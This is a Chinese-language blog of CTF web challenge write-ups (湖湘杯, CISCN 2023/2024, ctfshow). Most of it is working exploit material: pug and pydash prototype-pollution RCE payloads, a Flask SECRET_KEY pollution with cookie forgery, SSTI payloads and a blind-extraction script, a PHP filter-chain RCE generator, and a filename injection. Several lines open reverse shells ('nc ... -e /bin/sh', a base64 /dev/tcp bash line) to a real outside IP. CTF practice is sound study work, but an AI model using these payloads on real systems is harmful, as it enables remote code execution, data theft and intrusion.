[湖湘杯 2021 final]vote 给了源码,导入了pug模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 const path = require('path'); const express = require('express'); const pug = require('pug'); const { unflatten } = require('flat'); const router = express.Router(); router.get('/', (req, res) => { return res.sendFile(path.resolve('views/index.html')); }); router.post('/api/submit', (req, res) => { const { hero } = unflatten(req.body); if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) { return res.json({ 'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' }) }); } else { return res.json({ 'response': 'Please provide us with correct name.' }); } }); module.exports = router;
用到了pug模块漏洞rce
https://xz.aliyun.com/t/12635?time__1311=GqGxuDRiiQdiqGN4CxU27D9DfOm1YDgm%3D6YD#toc-5
1 2 3 4 5 {"__proto__.hero":{"name":"奇亚纳"}, "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync('nc vpsip 9999 -e /bin/sh')" }}
反弹shell即可
[CISCN 2023 华北]pysym 源码给的还是比较简单的,就一个文件上传功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from flask import Flask, render_template, request, send_from_directory import os import random import string app = Flask(__name__) app.config['UPLOAD_FOLDER']='uploads' @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/',methods=['POST']) def POST(): if 'file' not in request.files: return 'No file uploaded.' file = request.files['file'] if file.content_length > 10240: return 'file too lager' path = ''.join(random.choices(string.hexdigits, k=16)) directory = os.path.join(app.config['UPLOAD_FOLDER'], path) os.makedirs(directory, mode=0o755, exist_ok=True) savepath=os.path.join(directory, file.filename) file.save(savepath) try: os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory)) except: return 'something wrong in extracting' links = [] for root, dirs, files in os.walk(directory): for name in files: extractedfile =os.path.join(root, name) if os.path.islink(extractedfile): os.remove(extractedfile) return 'no symlink' if os.path.isdir(path) : return 'no directory' links.append(extractedfile) return render_template('index.html',links=links) @app.route("/uploads/<path:path>",methods=['GET']) def download(path): filepath = os.path.join(app.config['UPLOAD_FOLDER'], path) if not os.path.isfile(filepath): return '404', 404 return send_from_directory(app.config['UPLOAD_FOLDER'], path) if __name__ == '__main__': app.run(host='0.0.0.0',port=1337)
主要看这里,感觉比较可疑
1 os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
结合这个
1 2 3 4 path = ''.join(random.choices(string.hexdigits, k=16)) directory = os.path.join(app.config['UPLOAD_FOLDER'], path) os.makedirs(directory, mode=0o755, exist_ok=True) savepath=os.path.join(directory, file.filename)
发现savepath是可控的,上传的时候会先生成一个随机16进制字符串作为目录名,然后把上传的文件’tar –absolute-names -xvf {} -C {}放到 upload/directory下
directory我们控制不了,但是savepath可控,savepath就是文件名哇
况且前面是system,直接||接命令
本来我以为||后跟命令就可以,但是不行
后面看到wp说savepath某些字符会报错,base64可以避免
1 1.tar||echo YmFzaCA+JiAvZGV2L3RjcC8xNDAuMTQzLjE0My4xMzAvOTk5OSAwPiYx | base64 -d | bash||
签到·好玩的PHP 字符123和数字123 md5值相等
还有INF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0); highlight_file(__FILE__); class ctfshow { private $d = '1'; private $s = '2'; private $b = '3'; private $ctf= 123; public function __destruct() { $this->d = (string)$this->d; $this->s = (string)$this->s; $this->b = (string)$this->b; if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) { $dsb = $this->d.$this->s.$this->b; if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) { if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } } } } } $a=new ctfshow(); echo urlencode(serialize($a));
迷雾重重 给了源码,需要审计,菜菜不会
给了4个路由,套的是workerman 的壳
本来要去尝试workerman 的漏洞,尝试后无果
审吧,看的晨曦佬的博客审计的
令人两个注意的点,返学劣化和Json的view
返序列化无果,看看view
跟进view
发现他调用和handler的render的方法
接着跟进render
直接查找会出错,用var_dump打印出来
发现 $handler
是 support\view\Raw
类,这个类在vendor/workerman/webman-framework/src/support/view/Raw.php
存在文件包含
1 {"name":"guest","__template_path__":"/etc/passwd"}
filter链rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 <?php $base64_payload = "PD9waHAgc3lzdGVtKCJjYXQgL3MqIik7Pz4"; /*<?php system("cat /s*");?>*/ $conversions = array( '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4', '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4', '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921', '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE', '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2', '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE', '6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2', '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213', 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C' => 'convert.iconv.UTF8.CSISO2022KR', 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', 'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT', 'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB', 'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90', 'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213', 'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213', 'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4', 'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE', 'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC', 'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T', 'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4', 'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775', 'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB', 'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2', 'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4', 'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS', 'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103', 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB', 'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936', 'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932', 'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361', 'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16', 'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE', 'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE', 'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2', 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937', 'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213', 'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8', 'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE', 'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000', 'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16', 'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2', 'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE', 'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949', 'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61', 'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE', 'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4', 'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2', 'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101', 's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90', 't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS', 'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61', 'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932', 'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE', 'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS', 'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT', 'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937', ); $filters = "convert.base64-encode|"; # make sure to get rid of any equal signs in both the string we just generated and the rest of the file $filters .= "convert.iconv.UTF8.UTF7|"; foreach (str_split(strrev($base64_payload)) as $c) { $filters .= $conversions[$c] . "|"; $filters .= "convert.base64-decode|"; $filters .= "convert.base64-encode|"; $filters .= "convert.iconv.UTF8.UTF7|"; } $filters .= "convert.base64-decode"; $final_payload = "php://filter/{$filters}/resource=/etc/passwd"; echo($final_payload);
ez_inject 随便注册一下,看到了chat路由
提示要污染了,结合serct路由
应该是在注册哪里要污染改sercet,再去伪造成大菜鸡师傅
register页面发现可以发送json数据
但是怎么污染key呢
https://xz.aliyun.com/t/13072?time__1311=GqmhBKwKGNDKKYIq7K8x7qAKtY5CmmD#toc-8
可以选择替换key,哪也可以污染路径
污染key
1 2 3 4 5 6 7 8 9 10 11 12 13 { "username": "111", "password": "11", "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" :"q1ngchuan" } } } } }
回去登陆
拿到jwt
1 2 3 4 eyJpc19hZG1pbiI6MCwidXNlcm5hbWUiOiIxMTEifQ.Z1gYrA.9DB1_Ue5Sm4r_dTN25RKc00whKY 伪造 flask-unsign --sign --cookie "{'is_admin': 1, 'username': '111'}" --secret 'q1ngchuan' eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiIxMTEifQ.Z1gZhA.WRDdEmI4XGJ1rp28O8nEno75eu0
妈的,没用啊也,伪造个蛋
用了另一个污染,污染static静态目录,把根目录当静态目录
1 2 3 4 5 6 7 8 9 10 11 12 { "username": "11111", "password": "11", "__init__":{ "__globals__":{ "app":{ "_static_folder":"/" } } } }
访问/static/flag就可
后面echo框里是个啥嘛ssti
1 cycler["__in"+"it__"]["__glo"+"bals__"] ["__bui"+"ltins__"].__import__('builtins').open('/flag').read(1)[0]=='c'
贴个官方wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requests import concurrent.futures url = "http://7d26c775-19b5-4001-88e3-fbba32c4e64c.challenge.ctf.show/echo" strings = "qwertyuiopasdfghjklzxcvbnm{}-12334567890" target = "" headers = { "Content-Type": "application/x-www-form-urlencoded", "cookie":"user=eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiJ0ZXN0In0.ZzC9AQ.hbEoNTSwLImc98ykp0j_EJ_VlnQ" } def check_character(i, j, string): payload = ''' cycler["__in"+"it__"]["__glo"+"bals__"] ["__bui"+"ltins__"].__import__('builtins').open('/flag').read({})[{}]=='{}' '''.format(j + 1, j, string) data = {"message": payload} r = requests.post(url=url, data=data, headers=headers) return string if r.status_code == 200 and "your answer is True" in r.text else None with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: for i in range(50): futures = [] for j in range(50): for string in strings: futures.append(executor.submit(check_character, i, j, string)) for future in concurrent.futures.as_completed(futures): result = future.result() if result: print(result) target += result if result == "}": print(target) exit()
ezzz_ssti 确实是ssti
就是限制了payload的长度
经典文章
https://blog.csdn.net/weixin_43995419/article/details/126811287
1 2 3 4 5 6 7 {{lipsum.__globals__.os.popen('whoami').read()}} {{config.update(u=lipsum.__globals__)}} {{config.update(u=config.u.os.popen)}} {{config.u("ls /").read()}} {{config.u("cat /f*").read()}}
简单的文件上传 参考链接:
第一步: 新建一个 NativeLibraryExample 类:
1 2 3 4 5 6 7 8 9 10 11 public class NativeLibraryExample { public native void nativeMethod (String cmd) ; public static void main (String[] args) { NativeLibraryExample example = new NativeLibraryExample (); example.nativeMethod("mate-calc" ); } }
使用 javac 对其进行编译:
1 javac NativeLibraryExample.java
得到了 NativeLibraryExample.class 文件
第二步: 使用 javah 生成对应的头文件。
1 2 javah -jni NativeLibraryExample 这里java版本不对可能不行可以用这个 javac -h . NativeLibraryExample.java //生成完记得改名NativeLibraryExample.h
得到 NativeLibraryExample.h
第三步: 编写 C 语言实现,包含上一步生成的 .h 文件:
JniClass.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #include <jni.h> #include "NativeLibraryExample.h" #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> int execmd (const char *cmd, char *result) { char buffer[1024 *12 ]; FILE *pipe = popen(cmd, "r" ); if (!pipe) return 0 ; while (!feof(pipe)) { if (fgets(buffer, sizeof (buffer), pipe)) { strcat (result, buffer); } } pclose(pipe); return 1 ; } JNIEXPORT void JNICALL Java_NativeLibraryExample_nativeMethod (JNIEnv *env, jobject obj, jstring jstr) { const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL ); char result[1024 * 12 ] = "" ; if (1 == execmd(cstr, result)) { } char return_messge[100 ] = "" ; strcat (return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); return cmdresult; }
第四步: Linux 下使用的命令进行编译,编译时需要添加 jdk include 目录和 inlcude/linux 目录。
1 gcc -fPIC -I"/usr/lib/jvm/jdk1.8.0_411/include" -I"/usr/lib/jvm/jdk1.8.0_411/include/linux" -shared -o libcmd.so JniClass.c
windows 环境使用如下的命令
1 gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o libcmd.dll JniClass.c
修改 NativeLibraryExample 的 main 方法,使用 System.load 将 so 文件加载进来。
1 2 3 4 5 6 7 8 9 10 11 public class NativeLibraryExample { // 声明native方法 public native void nativeMethod(String cmd); public static void main(String[] args) { System.load("/mnt/share/project/ctf_archives/test/test_jni/src/main/java/libNativeLibraryExample.so"); NativeLibraryExample example = new NativeLibraryExample(); example.nativeMethod("mate-calc"); // 调用native方法 } }
调用 nativeMethod 执行命令。
CISCN2024 simple_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php ini_set('open_basedir', '/var/www/html/'); error_reporting(0); if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } } show_source(__FILE__); ?>
半年多了,现在依旧来看这个题依旧觉得难
当时用的是php -r
先查看目录结构
并没有发现flag
发现存在mysql用户
猜测flag在数据库中
看到命令可以执行
数据库密码不知道
猜测是root
1 2 3 echo `mysql -u root -p'root' -e 'show databases;'`; 6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b php -r eval(hex2bin(6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b));
这是会提示报错,字符串解析存在问题,本来用该用引号引起来,但是过滤了单双引号,所以我们得想别的办法,借用substr,截取字符串,substr处理完后返回的数据hex2bin接着处理
1 2 3 4 5 6 7 8 9 10 11 php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b,1))); 前面多加一位进行截取 echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables'`; echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;show columns from F1ag_Se3Re7;select flag66_2024 from F1ag_Se3Re7;'; `; php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b757365205048505f434d533b73686f77207461626c65733b73686f7720636f6c756d6e732066726f6d20463161675f5365335265373b73656c65637420666c616736365f323032342066726f6d20463161675f5365335265373b273b20603b,1))); diff --recursive / /home dd if=/etc/passwd mysqldump -uroot -proot --all-databases
CISCN2024 ezcms https://www.xunruicms.com/bug/
查看历史漏洞发现存在ssrf
但是不知道路径
去看源码
在\dayrui\Fcms\Control\Api\Api.php下找到
一共get4个参数,感觉text和thumb的搞头大一点,size会转int,level有dr_safe_replace
先看看text,也没啥处理过滤啥的哇,没用
看thumb
紧着这下面就是对thumb的处理
dr_catcher_data函数处理,看看dr_catcher_data
看到这个感觉就是这个了,这不明显ssrf方法吗,
接收一个url进行跳转,标准的ssrf。
服务器起一个php服务
挂302跳转的php文件
内容如下
1 <?php header("Location:http://127.0.0.1/flag.php?cmd=nc%20140.143.143.130%209999%20-e%20%2Fbin%2Fsh");?>
CISCN2024 sanic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash # pydash==5.1.2 class Pollute: def __init__(self): pass app = Sanic(__name__) app.static("/static/", "./static/") Session(app) @app.route('/', methods=['GET', 'POST']) async def index(request): return html(open('static/index.html').read()) @app.route("/login") async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success") return text("login fail") @app.route("/src") async def src(request): return text(open(__file__).read()) @app.route("/admin", methods=['GET', 'POST']) async def admin(request): if request.ctx.session.get('admin') == True: key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") return text("forbidden") if __name__ == '__main__': app.run(host='0.0.0.0')
这个题当时国赛就没做出来,后面搁置了好久也没去复现,趁着下一届国赛前抓紧复现
sanic框架第一次接触,自然是难甭,得现接触现学
先分析一下源码
1 user.lower() == 'adm;n':
Cookie里是用;分隔的,这里可用8进制绕过
拿到session
登录到admin,就是我默默问一句,登录上怎么是这样子
接着看admin路由,waf了key,不允许_.
1 2 3 if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value)
可以用
可是污染哪里呢
在src路由有__file__,之前有见过python原型链污染
1 {"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}
可以看到已经污染成功了,但是污染不了flag,不知道flag在哪里
这也就是这题的考点所在了,需要我们利用污染的方式开启列目录功能,查看根目录下flag的名称,再进行读取
跟着gxn神一起,找找
看着两行注释
这里的 directory_view
参数是一个布尔值,用于决定是否在展示目录时提供一个目录视图。如果设置为 True
,则当用户访问一个目录而不是具体文件时,会显示目录内容的列表。
directory_handler
参数是一个可选的 DirectoryHandler
类实例,它允许用户自定义或控制目录处理的行为,例如自定义目录浏览的样式或功能。如果提供了这个参数,它将被用于处理目录请求,而不是使用默认的目录处理器。
这俩主要是控制显示目录的
我们继续跟进directory_handler:
调用了DirectoryHandler类,继续跟进
这里又回到了前面找到的directory_view,Path设置上,directory_view为true,就出初始化,路径设置为你设置的路径,那我们设置path=/,directory_view为true,按理说就可以看到根目录文件了
调试 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from sanic import Sanic from sanic.response import text, html #from sanic_session import Session import sys import pydash # pydash==5.1.2 class Pollute: def __init__(self): pass app = Sanic(__name__) app.static("/static/", "./static/") #Session(app) #@app.route('/', methods=['GET', 'POST']) #async def index(request): #return html(open('static/index.html').read()) #@app.route("/login") #async def login(request): #user = request.cookies.get("user") #if user.lower() == 'adm;n': #request.ctx.session['admin'] = True #return text("login success") #return text("login fail") @app.route("/src") async def src(request): eval(request.args.get('a')) return text(open(__file__).read()) @app.route("/admin", methods=['GET', 'POST']) async def admin(request): key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") #print(app.router.name_index['name'].directory_view) if __name__ == '__main__': app.run(host='0.0.0.0')
http://127.0.0.1:8000/src?a=print(app.router.name_index)
1 2 {'__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=admin>} 可以看到控制台回显了这个,上面都是我们注册过的路由,我们可以通过前面的键值去访问对应的路由
1 print(app.router.name_index['__mp_main__.static'])
1 2 <Route: name=__mp_main__.static path=static/<__file_uri__:path>> 显示的是src的路由
接下来就是调用DirectoryHandler了
全局搜索name_index
找到这里是系统默认的调用点,我们在这里打个断点开启调式
看到directory_view为false
发现可以从handler入手,一直可以获取到DirectoryHandler中的directory和directory_view
1 print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view)
显示false,说明成功获取到了directory_view的值
所以
1 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
引用:
注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而
是一个整体,不能分开,我们可以用两个反斜杠来转义就够了
可以看到是污染成功了,访问/static/,可以看到该目录下的文件
接下来只要污染 directory却发现错误了
值就是由其中的 parts 属性决定的,但是由于这个属性是一个 tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的
可以看到directory是一个对象,而它之前的值就是由其中的parts 属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的?
回到DirectoryHandler类中
parts的值最后是给了_parts这个属性
1 print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory._parts)
1 ['D:\\', 'pycharm', '1', 'pwn', 'static']
看到这是一个list,那么这里很明显我们就可以直接污染了
1 2 3 4 #开启列目录功能 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true} #将目录设置在根目录下{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
拿到flag的名称,再去污染就OK了
1 {"key":".__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}
CISCN2024mossfern runner.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 def source_simple_check(source): """ Check the source with pure string in string, prevent dangerous strings :param source: source code :return: None """ from sys import exit from builtins import print try: source.encode("ascii") except UnicodeEncodeError: print("non-ascii is not permitted") exit() for i in ["__", "getattr", "exit"]: if i in source.lower(): print(i) exit() def block_wrapper(): """ Check the run process with sys.audithook, no dangerous operations should be conduct :return: None """ def audit(event, args): from builtins import str, print import os for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]: if i in (event + "".join(str(s) for s in args)).lower(): print(i) os._exit(1) return audit def source_opcode_checker(code): """ Check the source in the bytecode aspect, no methods and globals should be load :param code: source code :return: None """ from dis import dis from builtins import str from io import StringIO from sys import exit opcodeIO = StringIO() dis(code, file=opcodeIO) opcode = opcodeIO.getvalue().split("\n") opcodeIO.close() for line in opcode: if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]): if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]): break print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)])) exit() if __name__ == "__main__": from builtins import open from sys import addaudithook from contextlib import redirect_stdout from random import randint, randrange, seed from io import StringIO from random import seed from time import time source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read() source_simple_check(source) source_opcode_checker(source) code = compile(source, "<sandbox>", "exec") addaudithook(block_wrapper()) outputIO = StringIO() with redirect_stdout(outputIO): seed(str(time()) + "THIS_IS_SEED" + str(time())) exec(code, { "__builtins__": None, "randint": randint, "randrange": randrange, "seed": seed, "print": print }, None) output = outputIO.getvalue() if "THIS_IS_SEED" in output: print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!") print("bad code-operation why still happened ah?") else: print(output)
main.py
